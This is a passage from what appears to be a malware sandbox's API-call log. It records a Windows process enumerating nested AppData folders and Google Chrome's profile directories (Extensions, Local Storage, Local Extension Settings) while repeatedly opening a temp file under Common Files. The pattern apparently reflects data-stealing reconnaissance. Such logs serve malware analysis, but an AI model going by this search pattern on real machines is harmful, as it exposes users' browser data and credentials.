dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.467] GetFileType (hFile=0x198) returned 0x1 [0127.467] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0xa000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x91a5, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.468] AreFileApisANSI () returned 1 [0127.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.468] GetFileType (hFile=0x198) returned 0x1 [0127.468] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0xa000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x92d6, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.468] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.469] GetLastError () returned 0x12 [0127.469] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.469] GetLastError () returned 0x12 [0127.469] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.469] GetLastError () returned 0x12 [0127.469] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0127.469] GetLastError () returned 0x12 [0127.469] AreFileApisANSI () returned 1 [0127.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0127.469] GetFileType (hFile=0x188) returned 0x1 [0127.469] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0127.470] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0127.470] GetLastError () returned 0x12 [0127.470] AreFileApisANSI () returned 1 [0127.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0127.470] GetFileType (hFile=0x188) returned 0x1 [0127.470] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x867248, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0127.471] AreFileApisANSI () returned 1 [0127.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.471] GetFileType (hFile=0x18c) returned 0x1 [0127.471] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.471] AreFileApisANSI () returned 1 [0127.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.471] GetFileType (hFile=0x190) returned 0x1 [0127.471] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x887fb0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.472] AreFileApisANSI () returned 1 [0127.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.473] GetFileType (hFile=0x194) returned 0x1 [0127.473] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0xa000, nFileSizeHigh=0x0, nFileSizeLow=0x976e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.473] AreFileApisANSI () returned 1 [0127.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.473] GetFileType (hFile=0x194) returned 0x1 [0127.473] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.521] AreFileApisANSI () returned 1 [0127.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.521] GetFileType (hFile=0x198) returned 0x1 [0127.522] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0127.522] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0127.522] GetLastError () returned 0x12 [0127.522] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.522] GetLastError () returned 0x12 [0127.522] AreFileApisANSI () returned 1 [0127.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.522] GetFileType (hFile=0x194) returned 0x1 [0127.522] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.660] AreFileApisANSI () returned 1 [0127.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.660] GetFileType (hFile=0x198) returned 0x1 [0127.660] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0127.709] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0127.710] GetLastError () returned 0x12 [0127.710] AreFileApisANSI () returned 1 [0127.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.710] GetFileType (hFile=0x198) returned 0x1 [0127.710] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xa000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x9c61, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.710] AreFileApisANSI () returned 1 [0127.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.710] GetFileType (hFile=0x198) returned 0x1 [0127.710] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xa000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x9d75, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.710] AreFileApisANSI () returned 1 [0127.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.711] GetFileType (hFile=0x198) returned 0x1 [0127.711] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xa000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x9e7c, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.711] AreFileApisANSI () returned 1 [0127.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.711] GetFileType (hFile=0x198) returned 0x1 [0127.711] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xa000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x9f83, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.711] AreFileApisANSI () returned 1 [0127.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.711] GetFileType (hFile=0x198) returned 0x1 [0127.712] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xb000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xa085, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.712] AreFileApisANSI () returned 1 [0127.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.712] GetFileType (hFile=0x198) returned 0x1 [0127.712] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xb000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xa18a, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.712] AreFileApisANSI () returned 1 [0127.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.712] GetFileType (hFile=0x198) returned 0x1 [0127.712] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xb000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xa292, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.712] AreFileApisANSI () returned 1 [0127.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.712] GetFileType (hFile=0x198) returned 0x1 [0127.713] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Storage\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0xb000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xa3a2, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.753] AreFileApisANSI () returned 1 [0127.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.754] GetFileType (hFile=0x198) returned 0x1 [0127.754] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 